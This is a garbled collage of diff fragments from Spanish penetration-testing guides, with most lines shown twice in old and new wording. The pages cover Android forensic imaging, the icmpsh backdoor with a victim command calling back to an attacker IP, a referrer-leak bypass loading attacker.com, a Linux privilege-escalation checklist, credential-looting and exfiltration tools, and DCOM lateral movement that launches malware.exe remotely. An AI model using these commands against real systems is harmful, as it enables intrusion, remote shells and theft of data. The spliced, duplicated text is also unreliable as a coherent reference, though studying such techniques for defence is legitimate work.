## Adquisición de datos
## Adquisición de Datos
Crea una copia de seguridad de Android usando adb y extrae los datos usando [Android Backup Extractor](https://sourceforge.net/projects/adbextractor/): `java -jar abe.jar unpack file.backup file.tar`
Crea un [backup de android usando adb](mobile-pentesting/android-app-pentesting/adb-commands.md#backup) y extráelo usando [Android Backup Extractor](https://sourceforge.net/projects/adbextractor/): `java -jar abe.jar unpack file.backup file.tar`
### Si se tiene acceso root o conexión física a la interfaz JTAG
### Si tienes acceso root o conexión física a la interfaz JTAG
* `cat /proc/partitions` (busca la ruta a la memoria flash, generalmente la primera entrada es _mmcblk0_ y corresponde a toda la memoria flash).
* `df /data` (descubre el tamaño de bloque del sistema).
* dd if=/dev/block/mmcblk0 of=/sdcard/blk0.img bs=4096 (ejecútalo con la información recopilada del tamaño de bloque).
* `df /data` (Descubre el tamaño de bloque del sistema).
* dd if=/dev/block/mmcblk0 of=/sdcard/blk0.img bs=4096 (ejecútalo con la información obtenida del tamaño de bloque).
### Memoria
Usa Linux Memory Extractor (LiME) para extraer la información de la RAM. Es una extensión del kernel que debe cargarse a través de adb.
Usa Linux Memory Extractor (LiME) para extraer la información de la RAM. Es una extensión del kernel que debe ser cargada a través de adb.
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@ -1,15 +1,30 @@
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@ -1,16 +1,14 @@
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@ -21,7 +19,7 @@ Descarga el backdoor desde: [https://github.com/inquisb/icmpsh](https://github.c
Ejecuta el script: **run.sh**
**Si obtienes algún error, intenta cambiar las líneas:**
**Si encuentras algún error, intenta cambiar las líneas:**
```bash
IPINT=$(ifconfig | grep "eth" | cut -d " " -f 1 | head -1)
IP=$(ifconfig "$IPINT" |grep "inet addr:" |cut -d ":" -f 2 |awk '{ print $1 }')
@ -31,24 +29,22 @@ IP=$(ifconfig "$IPINT" |grep "inet addr:" |cut -d ":" -f 2 |awk '{ print $1 }')
echo Please insert the IP where you want to listen
read IP
```
# **Lado de la víctima**
# **Lado de la Víctima**
Subir **icmpsh.exe** a la víctima y ejecutarlo:
Sube **icmpsh.exe** a la víctima y ejecuta:
```bash
icmpsh.exe -t <Attacker-IP> -d 500 -b 30 -s 128
```
<details>
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@ -1,12 +1,27 @@
# Cargas útiles básicas
<details>
* **Lista simple:** Solo una lista que contiene una entrada en cada línea.
* **Archivo en tiempo de ejecución:** Una lista leída en tiempo de ejecución (no cargada en memoria). Para soportar listas grandes.
* **Modificación de mayúsculas y minúsculas:** Aplicar algunos cambios a una lista de cadenas (sin cambios, a minúsculas, a MAYÚSCULAS, a nombre propio -primera letra en mayúscula y el resto en minúscula-, a nombre propio -primera letra en mayúscula y el resto se mantiene igual-.
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</details>
# Cargas Útiles Básicas
* **Lista Simple:** Solo una lista que contiene una entrada en cada línea
* **Archivo en Tiempo de Ejecución:** Una lista leída en tiempo de ejecución (no cargada en memoria). Para soportar listas grandes.
* **Modificación de Mayúsculas/Minúsculas:** Aplicar algunos cambios a una lista de cadenas (Sin cambio, a minúsculas, a MAYÚSCULAS, a Nombre Propio - Primera en mayúscula y el resto en minúsculas-, a Nombre Propio -Primera en mayúscula y el resto permanece igual-.
* **Números:** Generar números de X a Y usando un paso Z o aleatoriamente.
* **Fuerza bruta:** Conjunto de caracteres, longitud mínima y máxima.
* **Fuerza Bruta:** Conjunto de caracteres, longitud mínima y máxima.
[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator): Carga útil para ejecutar comandos y capturar la salida a través de solicitudes DNS a burpcollab.
[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Carga útil para ejecutar comandos y capturar la salida a través de solicitudes DNS a burpcollab.
{% embed url="https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e" %}
@ -15,16 +30,14 @@
<details>
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@ -1,31 +1,29 @@
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</details>
# Encabezados de referencia y política
# Encabezados de referente y política
Referrer es el encabezado utilizado por los navegadores para indicar cuál fue la página anterior visitada.
Referente es el encabezado utilizado por los navegadores para indicar cuál fue la página visitada anteriormente.
## Fuga de información sensible
Si en algún momento dentro de una página web se encuentra información sensible en los parámetros de una solicitud GET, si la página contiene enlaces a fuentes externas o si un atacante es capaz de hacer/sugerir (ingeniería social) que el usuario visite una URL controlada por el atacante, podría ser capaz de extraer la información sensible dentro de la última solicitud GET.
Si en algún momento dentro de una página web cualquier información sensible se encuentra en los parámetros de una solicitud GET, si la página contiene enlaces a fuentes externas o un atacante es capaz de hacer/sugerir (ingeniería social) que el usuario visite una URL controlada por el atacante. Podría ser capaz de exfiltrar la información sensible dentro de la última solicitud GET.
## Mitigación
Puede hacer que el navegador siga una **política de referencia** que podría **evitar** que la información sensible se envíe a otras aplicaciones web:
Puedes hacer que el navegador siga una **política de referente** que podría **evitar** que la información sensible sea enviada a otras aplicaciones web:
```
Referrer-Policy: no-referrer
Referrer-Policy: no-referrer-when-downgrade
@ -36,13 +34,28 @@ Referrer-Policy: strict-origin
Referrer-Policy: strict-origin-when-cross-origin
Referrer-Policy: unsafe-url
```
## Contra-Medida
## Contra-Mitigación
Se puede anular esta regla utilizando una etiqueta meta de HTML (el atacante necesita explotar una inyección de HTML):
Puedes anular esta regla utilizando una etiqueta meta HTML (el atacante necesita explotar una inyección HTML):
```markup
<meta name="referrer" content="unsafe-url">
<img src="https://attacker.com">
```
## Defensa
Nunca coloque datos sensibles dentro de los parámetros GET o en las rutas de la URL.
Nunca coloques datos sensibles dentro de los parámetros GET o en las rutas de la URL.
<details>
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@ -1,14 +1,16 @@
# Lista de Verificación - Escalada de Privilegios en Linux
# Lista de verificación - Escalada de Privilegios en Linux
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@ -22,10 +24,10 @@
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@ -38,8 +40,8 @@ Mantente informado con los lanzamientos de nuevas recompensas por errores y actu
* [ ] Revisa las [**variables de entorno**](privilege-escalation/#env-info), ¿algún detalle sensible?
* [ ] Busca [**exploits de kernel**](privilege-escalation/#kernel-exploits) **usando scripts** (¿DirtyCow?)
* [ ] **Verifica** si la [**versión de sudo** es vulnerable](privilege-escalation/#sudo-version)
* [ ] [**Firma de Dmesg** falló la verificación](privilege-escalation/#dmesg-signature-verification-failed)
* [ ] Más enum de sistema ([fecha, estadísticas del sistema, información de la CPU, impresoras](privilege-escalation/#more-system-enumeration))
* [ ] [**Fallo en la verificación de firma de Dmesg**](privilege-escalation/#dmesg-signature-verification-failed)
* [ ] Más enumeración del sistema ([fecha, estadísticas del sistema, información de la CPU, impresoras](privilege-escalation/#more-system-enumeration))
* [ ] [Enumera más defensas](privilege-escalation/#enumerate-possible-defenses)
### [Unidades](privilege-escalation/#drives)
@ -67,7 +69,7 @@ Mantente informado con los lanzamientos de nuevas recompensas por errores y actu
* [ ] ¿El [**PATH**](privilege-escalation/#cron-path) está siendo modificado por algún cron y puedes **escribir** en él?
* [ ] ¿Algún [**comodín**](privilege-escalation/#cron-using-a-script-with-a-wildcard-wildcard-injection) en un trabajo cron?
* [ ] ¿Algún [**script modificable**](privilege-escalation/#cron-script-overwriting-and-symlink) está siendo **ejecutado** o está dentro de una **carpeta modificable**?
* [ ] ¿Has detectado que algún **script** podría estar o está siendo [**ejecutado muy frecuentemente**](privilege-escalation/#frequent-cron-jobs)? (cada 1, 2 o 5 minutos)
* [ ] ¿Has detectado que algún **script** podría estar siendo [**ejecutado muy frecuentemente**](privilege-escalation/#frequent-cron-jobs)? (cada 1, 2 o 5 minutos)
### [Servicios](privilege-escalation/#services)
@ -106,7 +108,7 @@ Mantente informado con los lanzamientos de nuevas recompensas por errores y actu
### [PATH con permisos de escritura](privilege-escalation/#writable-path-abuses)
* [ ] Si tienes **privilegios de escritura sobre alguna carpeta en PATH** podrías ser capaz de escalar privilegios
* [ ] Si tienes **privilegios de escritura sobre alguna carpeta en PATH**, podrías ser capaz de escalar privilegios
### [Comandos SUDO y SUID](privilege-escalation/#sudo-and-suid)
@ -115,8 +117,8 @@ Mantente informado con los lanzamientos de nuevas recompensas por errores y actu
* [ ] ¿Los comandos de [**sudo** están **limitados** por **ruta**? ¿puedes **burlar** las restricciones](privilege-escalation/#sudo-execution-bypassing-paths)?
* [ ] [**Binario Sudo/SUID sin ruta indicada**](privilege-escalation/#sudo-command-suid-binary-without-command-path)?
* [ ] [**Binario SUID especificando ruta**](privilege-escalation/#suid-binary-with-command-path)? Burla
* [ ] [**Vuln LD\_PRELOAD**](privilege-escalation/#ld\_preload)
* [ ] [**Falta de biblioteca .so en binario SUID**](privilege-escalation/#suid-binary-so-injection) de una carpeta con permisos de escritura?
* [ ] [**Vulnerabilidad LD\_PRELOAD**](privilege-escalation/#ld\_preload)
* [ ] [**Falta de biblioteca .so en binario SUID**](privilege-escalation/#suid-binary-so-injection) desde una carpeta con permisos de escritura?
* [ ] [**Tokens de SUDO disponibles**](privilege-escalation/#reusing-sudo-tokens)? [**¿Puedes crear un token de SUDO**](privilege-escalation/#var-run-sudo-ts-less-than-username-greater-than)?
* [ ] ¿Puedes [**leer o modificar archivos sudoers**](privilege-escalation/#etc-sudoers-etc-sudoers-d)?
* [ ] ¿Puedes [**modificar /etc/ld.so.conf.d/**](privilege-escalation/#etc-ld-so-conf-d)?
@ -130,7 +132,7 @@ Mantente informado con los lanzamientos de nuevas recompensas por errores y actu
* [ ] ¿Tiene algún archivo alguna **ACL inesperada**?
### [Sesiones de Shell Abiertas](privilege-escalation/#open-shell-sessions)
### [Sesiones de Shell abiertas](privilege-escalation/#open-shell-sessions)
* [ ] **screen**
* [ ] **tmux**
@ -151,7 +153,7 @@ Mantente informado con los lanzamientos de nuevas recompensas por errores y actu
* [ ] **Archivos ocultos**
* [ ] **Scripts/Binarios en PATH**
* [ ] **Archivos web** (¿contraseñas?)
* [ ] ¿**Copias de seguridad**?
* [ ] **¿Copias de seguridad**?
* [ ] **Archivos conocidos que contienen contraseñas**: Usa **Linpeas** y **LaZagne**
* [ ] **Búsqueda genérica**
@ -175,23 +177,23 @@ Mantente informado con los lanzamientos de nuevas recompensas por errores y actu
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@ -1,15 +1,30 @@
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# [ProjectHoneypot](https://www.projecthoneypot.org/)
Puedes preguntar si una dirección IP está relacionada con actividades sospechosas/maliciosas. Completamente gratis.
Puedes preguntar si una IP está relacionada con actividades sospechosas/maliciosas. Completamente gratis.
# [**BotScout**](http://botscout.com/api.htm)
Comprueba si la dirección IP está relacionada con un bot que registra cuentas. También puede comprobar nombres de usuario y correos electrónicos. Inicialmente gratis.
Comprueba si la dirección IP está relacionada con un bot que registra cuentas. También puede verificar nombres de usuario y correos electrónicos. Inicialmente gratis.
# [Hunter](https://hunter.io/)
Encuentra y verifica correos electrónicos.
Algunas solicitudes de API son gratuitas, para más necesitas pagar.
Encuentra y verifica correos electrónicos.
Algunas solicitudes de API gratuitas, para más necesitas pagar.
¿Comercial?
# [AlientVault](https://otx.alienvault.com/api)
@ -18,31 +33,31 @@ Encuentra actividades maliciosas relacionadas con IPs y dominios. Gratis.
# [Clearbit](https://dashboard.clearbit.com/)
Encuentra datos personales relacionados con un correo electrónico \(perfiles en otras plataformas\), dominio \(información básica de la empresa, correos electrónicos y personas que trabajan\) y empresas \(obtén información de la empresa a partir del correo\).
Necesitas pagar para acceder a todas las posibilidades.
Encuentra datos personales relacionados con un correo electrónico \(perfiles en otras plataformas\), dominio \(información básica de la empresa, correos y personas que trabajan\) y empresas \(obtener información de la empresa a partir del correo\).
Necesitas pagar para acceder a todas las posibilidades.
¿Comercial?
# [BuiltWith](https://builtwith.com/)
Tecnologías utilizadas por las webs. Caro...
Tecnologías utilizadas por webs. Caro...
¿Comercial?
# [Fraudguard](https://fraudguard.io/)
Comprueba si un host \(dominio o IP\) está relacionado con actividades sospechosas/maliciosas. Tiene acceso gratuito a la API.
Comprueba si un host \(dominio o IP\) está relacionado con actividades sospechosas/maliciosas. Tiene algún acceso gratuito a la API.
¿Comercial?
# [FortiGuard](https://fortiguard.com/)
Comprueba si un host \(dominio o IP\) está relacionado con actividades sospechosas/maliciosas. Tiene acceso gratuito a la API.
Comprueba si un host \(dominio o IP\) está relacionado con actividades sospechosas/maliciosas. Tiene algún acceso gratuito a la API.
# [SpamCop](https://www.spamcop.net/)
Indica si el host está relacionado con actividad de spam. Tiene acceso gratuito a la API.
Indica si un host está relacionado con actividad de spam. Tiene algún acceso gratuito a la API.
# [mywot](https://www.mywot.com/)
Basado en opiniones y otras métricas, obtiene si un dominio está relacionado con información sospechosa/maliciosa.
Basado en opiniones y otras métricas, determina si un dominio está relacionado con información sospechosa/maliciosa.
# [ipinfo](https://ipinfo.io/)
@ -50,12 +65,12 @@ Obtiene información básica de una dirección IP. Puedes probar hasta 100K/mes.
# [securitytrails](https://securitytrails.com/app/account)
Esta plataforma proporciona información sobre dominios e direcciones IP como dominios dentro de una IP o dentro de un servidor de dominio, dominios propiedad de un correo electrónico \(encuentra dominios relacionados\), historial de IP de dominios \(encuentra el host detrás de CloudFlare\), todos los dominios que utilizan un servidor de nombres....
Tiene acceso gratuito.
Esta plataforma proporciona información sobre dominios y direcciones IP como dominios dentro de una IP o dentro de un servidor de dominio, dominios propiedad de un correo electrónico \(encuentra dominios relacionados\), historial de IP de dominios \(encuentra el host detrás de CloudFlare\), todos los dominios que utilizan un nameserver....
Tienes algún acceso gratuito.
# [fullcontact](https://www.fullcontact.com/)
Permite buscar por correo electrónico, dominio o nombre de empresa y recuperar información "personal" relacionada. También puede verificar correos electrónicos. Hay acceso gratuito.
Permite buscar por correo electrónico, dominio o nombre de empresa y recuperar información "personal" relacionada. También puede verificar correos electrónicos. Hay algún acceso gratuito.
# [RiskIQ](https://www.spiderfoot.net/documentation/)
@ -63,11 +78,11 @@ Mucha información de dominios e IPs incluso en la versión gratuita/comunitaria
# [\_IntelligenceX](https://intelx.io/)
Busca dominios, IPs y correos electrónicos y obtén información de los volcados. Tiene acceso gratuito.
Busca dominios, IPs y correos electrónicos y obtén información de dumps. Tiene algún acceso gratuito.
# [IBM X-Force Exchange](https://exchange.xforce.ibmcloud.com/)
Busca por IP y recopila información relacionada con actividades sospechosas. Tiene acceso gratuito.
Busca por IP y recopila información relacionada con actividades sospechosas. Hay algún acceso gratuito.
# [Greynoise](https://viz.greynoise.io/)
@ -75,11 +90,11 @@ Busca por IP o rango de IP y obtén información sobre IPs que escanean Internet
# [Shodan](https://www.shodan.io/)
Obtén información de escaneo de una dirección IP. Tiene acceso gratuito a la API.
Obtén información de escaneo de una dirección IP. Tiene algún acceso gratuito a la API.
# [Censys](https://censys.io/)
Muy similar a Shodan
Muy similar a shodan
# [buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/)
@ -87,35 +102,47 @@ Encuentra buckets S3 abiertos buscando por palabra clave.
# [Dehashed](https://www.dehashed.com/data)
Encuentra credenciales filtradas de correos electrónicos e incluso dominios.
Encuentra credenciales filtradas de correos electrónicos e incluso dominios
¿Comercial?
# [psbdmp](https://psbdmp.ws/)
Busca pastebins donde apareció un correo electrónico.
¿Comercial?
Busca pastebins donde apareció un correo electrónico. ¿Comercial?
# [emailrep.io](https://emailrep.io/key)
Obtén la reputación de un correo electrónico.
¿Comercial?
Obtén la reputación de un correo. ¿Comercial?
# [ghostproject](https://ghostproject.fr/)
Obtén contraseñas de correos electrónicos filtrados.
¿Comercial?
Obtén contraseñas de correos electrónicos filtrados. ¿Comercial?
# [Binaryedge](https://www.binaryedge.io/)
Obtiene información interesante de IPs
Obtén información interesante de IPs
# [haveibeenpwned](https://haveibeenpwned.com/)
Busca por dominio y correo electrónico y obtén si fue comprometido y contraseñas.
¿Comercial?
Busca por dominio y correo electrónico y averigua si ha sido comprometido y las contraseñas. ¿Comercial?
[https://dnsdumpster.com/](https://dnsdumpster.com/)\(¿en una herramienta comercial?\)
[https://www.netcraft.com/](https://www.netcraft.com/) \(¿en una herramienta comercial?\)
[https://www.nmmapper.com/sys/tools/subdomainfinder/](https://www.nmmapper.com/) \(¿en una herramienta comercial?\)
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@ -20,3 +18,19 @@
**DNSSEC y DNSSEC3**
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@ -18,12 +16,26 @@
## **Botín local**
* [**PEASS-ng**](https://github.com/carlospolop/PEASS-ng): Estos scripts, además de buscar vectores de PE, buscarán información sensible dentro del sistema de archivos.
* [**LaZagne**](https://github.com/AlessandroZ/LaZagne): El proyecto **LaZagne** es una aplicación de código abierto utilizada para **recuperar muchas contraseñas** almacenadas en un equipo local. Cada software almacena sus contraseñas utilizando diferentes técnicas (texto sin formato, APIs, algoritmos personalizados, bases de datos, etc.). Esta herramienta ha sido desarrollada con el propósito de encontrar estas contraseñas para el software más utilizado.
* [**LaZagne**](https://github.com/AlessandroZ/LaZagne): El **proyecto LaZagne** es una aplicación de código abierto utilizada para **recuperar muchas contraseñas** almacenadas en una computadora local. Cada software almacena sus contraseñas utilizando diferentes técnicas (texto plano, APIs, algoritmos personalizados, bases de datos, etc.). Esta herramienta ha sido desarrollada con el propósito de encontrar estas contraseñas para el software más comúnmente utilizado.
## **Servicios externos**
## **Servicios Externos**
* [**Conf-Thief**](https://github.com/antman1p/Conf-Thief): Este módulo se conectará a la API de Confluence utilizando un token de acceso, exportará a PDF y descargará los documentos de Confluence a los que el objetivo tiene acceso.
* [**GD-Thief**](https://github.com/antman1p/GD-Thief): Herramienta de Red Team para exfiltrar archivos de Google Drive de un objetivo al que el atacante tiene acceso, a través de la API de Google Drive. Esto incluye todos los archivos compartidos, todos los archivos de unidades compartidas y todos los archivos de unidades de dominio a los que el objetivo tiene acceso.
* [**GDir-Thief**](https://github.com/antman1p/GDir-Thief): Herramienta de Red Team para exfiltrar el directorio de personas de Google de la organización objetivo al que tienes acceso, a través de la API de Personas de Google.
* [**SlackPirate**](https://github.com/emtunc/SlackPirate)**:** Esta es una herramienta desarrollada en Python que utiliza las API nativas de Slack para extraer información "interesante" de un espacio de trabajo de Slack dado un token de acceso.
* [**Slackhound**](https://github.com/BojackThePillager/Slackhound): Slackhound es una herramienta de línea de comandos para equipos rojos y azules para realizar rápidamente reconocimiento de un espacio de trabajo/organización de Slack. Slackhound hace que la recopilación de usuarios, archivos, mensajes, etc. de una organización sea rápidamente buscable y los objetos grandes se escriben en CSV para su revisión sin conexión.
* [**Conf-Thief**](https://github.com/antman1p/Conf-Thief): Este Módulo se conectará a la API de Confluence usando un token de acceso, exportará a PDF y descargará los documentos de Confluence a los que el objetivo tenga acceso.
* [**GD-Thief**](https://github.com/antman1p/GD-Thief): Herramienta de Red Team para exfiltrar archivos del Google Drive de un objetivo al que tú (el atacante) tienes acceso, a través de la API de Google Drive. Esto incluye todos los archivos compartidos, todos los archivos de unidades compartidas y todos los archivos de unidades de dominio a los que el objetivo tenga acceso.
* [**GDir-Thief**](https://github.com/antman1p/GDir-Thief): Herramienta de Red Team para exfiltrar el Directorio de Personas de Google de la organización objetivo al que tienes acceso, a través de la API de Personas de Google.
* [**SlackPirate**](https://github.com/emtunc/SlackPirate)**:** Esta es una herramienta desarrollada en Python que utiliza las APIs nativas de Slack para extraer información 'interesante' de un espacio de trabajo de Slack dado un token de acceso.
* [**Slackhound**](https://github.com/BojackThePillager/Slackhound): Slackhound es una herramienta de línea de comandos para equipos rojos y azules para realizar rápidamente reconocimiento de un espacio de trabajo/organización de Slack. Slackhound facilita la recopilación de usuarios de una organización, archivos, mensajes, etc. haciéndolos rápidamente buscables y los objetos grandes se escriben en CSV para su revisión sin conexión.
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@ -4,8 +4,8 @@
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@ -22,13 +22,13 @@ Encuentra vulnerabilidades que importan más para poder solucionarlas más rápi
## MMC20.Application
Los objetos **DCOM** (Distributed Component Object Model) son **interesantes** debido a la capacidad de **interactuar** con los objetos **a través de la red**. Microsoft tiene buena documentación sobre DCOM [aquí](https://msdn.microsoft.com/en-us/library/cc226801.aspx) y sobre COM [aquí](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx). Puedes encontrar una sólida lista de aplicaciones DCOM usando PowerShell, ejecutando `Get-CimInstance Win32_DCOMApplication`.
Los objetos **DCOM** (Distributed Component Object Model) son **interesantes** debido a la capacidad de **interactuar** con los objetos **a través de la red**. Microsoft tiene buena documentación sobre DCOM [aquí](https://msdn.microsoft.com/en-us/library/cc226801.aspx) y sobre COM [aquí](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx). Puedes encontrar una lista sólida de aplicaciones DCOM usando PowerShell, ejecutando `Get-CimInstance Win32_DCOMApplication`.
El objeto COM [Clase de Aplicación MMC (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx) te permite automatizar componentes de las operaciones de snap-in de MMC. Al enumerar los diferentes métodos y propiedades dentro de este objeto COM, noté que hay un método llamado `ExecuteShellCommand` bajo Document.ActiveView.
![](<../../.gitbook/assets/image (4) (2) (1) (1).png>)
Puedes leer más sobre ese método [aquí](https://msdn.microsoft.com/en-us/library/aa815396\(v=vs.85\).aspx). Hasta ahora, tenemos una aplicación DCOM a la que podemos acceder a través de la red y puede ejecutar comandos. La pieza final es aprovechar esta aplicación DCOM y el método ExecuteShellCommand para obtener ejecución de código en un host remoto.
Puedes leer más sobre ese método [aquí](https://msdn.microsoft.com/en-us/library/aa815396\(v=vs.85\).aspx). Hasta ahora, tenemos una aplicación DCOM a la que podemos acceder a través de la red y que puede ejecutar comandos. La pieza final es aprovechar esta aplicación DCOM y el método ExecuteShellCommand para obtener ejecución de código en un host remoto.
Afortunadamente, como administrador, puedes interactuar remotamente con DCOM con PowerShell usando "`[activator]::CreateInstance([type]::GetTypeFromProgID`". Todo lo que necesitas hacer es proporcionarle un DCOM ProgID y una dirección IP. Luego te devolverá una instancia de ese objeto COM de forma remota:
@ -45,11 +45,11 @@ El objeto **MMC20.Application** carecía de "[LaunchPermissions](https://technet
![](<../../.gitbook/assets/image (4) (1) (2).png>)
Puedes leer más sobre ese hilo [aquí](https://twitter.com/tiraniddo/status/817532039771525120).\
Ver qué otros objetos no tienen un conjunto de permisos de lanzamiento explícitos se puede lograr usando [OleView .NET](https://github.com/tyranid/oleviewdotnet) de [@tiraniddo](https://twitter.com/tiraniddo), que tiene excelentes filtros de Python (entre otras cosas). En este caso, podemos filtrar todos los objetos que no tienen un permiso de lanzamiento explícito. Al hacerlo, dos objetos me llamaron la atención: `ShellBrowserWindow` y `ShellWindows`:
Ver qué otros objetos no tienen un conjunto de LaunchPermission explícito se puede lograr usando [OleView .NET](https://github.com/tyranid/oleviewdotnet) de [@tiraniddo](https://twitter.com/tiraniddo), que tiene excelentes filtros de Python (entre otras cosas). En este caso, podemos filtrar todos los objetos que no tienen un Launch Permission explícito. Al hacerlo, dos objetos me llamaron la atención: `ShellBrowserWindow` y `ShellWindows`:
![](<../../.gitbook/assets/image (3) (1) (1) (2).png>)
Otra forma de identificar objetos objetivo potenciales es buscar el valor `LaunchPermission` que falta en las claves en `HKCR:\AppID\{guid}`. Un objeto con permisos de lanzamiento establecidos se verá como a continuación, con datos que representan la ACL para el objeto en formato binario:
Otra forma de identificar objetos objetivo potenciales es buscar el valor `LaunchPermission` que falta en las claves en `HKCR:\AppID\{guid}`. Un objeto con Launch Permissions establecido se verá como a continuación, con datos que representan la ACL del objeto en formato binario:
![](https://enigma0x3.files.wordpress.com/2017/01/launch\_permissions\_registry.png?w=690\&h=169)
@ -61,7 +61,7 @@ El primer objeto explorado fue [ShellWindows](https://msdn.microsoft.com/en-us/l
![shellwindow\_classid](https://enigma0x3.files.wordpress.com/2017/01/shellwindow\_classid.png?w=434\&h=424)
Como puedes ver a continuación, el campo "Launch Permission" está en blanco, lo que significa que no se establecen permisos explícitos.
Como puedes ver a continuación, el campo "Launch Permission" está en blanco, lo que significa que no se han establecido permisos explícitos.
![screen-shot-2017-01-23-at-4-12-24-pm](https://enigma0x3.files.wordpress.com/2017/01/screen-shot-2017-01-23-at-4-12-24-pm.png?w=455\&h=401)
@ -86,7 +86,7 @@ Como puede ver arriba, nuestro comando se ejecutó con éxito en un host remoto.
### ShellBrowserWindow
Este objeto en particular no existe en Windows 7, lo que limita su uso para movimiento lateral un poco más que el objeto "ShellWindows", el cual probé con éxito en Win7-Win10.
Este objeto en particular no existe en Windows 7, lo que limita su uso para el movimiento lateral un poco más que el objeto "ShellWindows", el cual probé con éxito en Win7-Win10.
Basado en mi enumeración de este objeto, parece proporcionar efectivamente una interfaz en la ventana del Explorador al igual que el objeto anterior. Para instanciar este objeto, necesitamos obtener su CLSID. Similar a lo anterior, podemos usar OleView .NET:
@ -153,18 +153,20 @@ SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Encuentra vulnerabilidades que importan más para que puedas arreglarlas más rápido. Intruder rastrea tu superficie de ataque, realiza escaneos proactivos de amenazas, encuentra problemas en todo tu stack tecnológico, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
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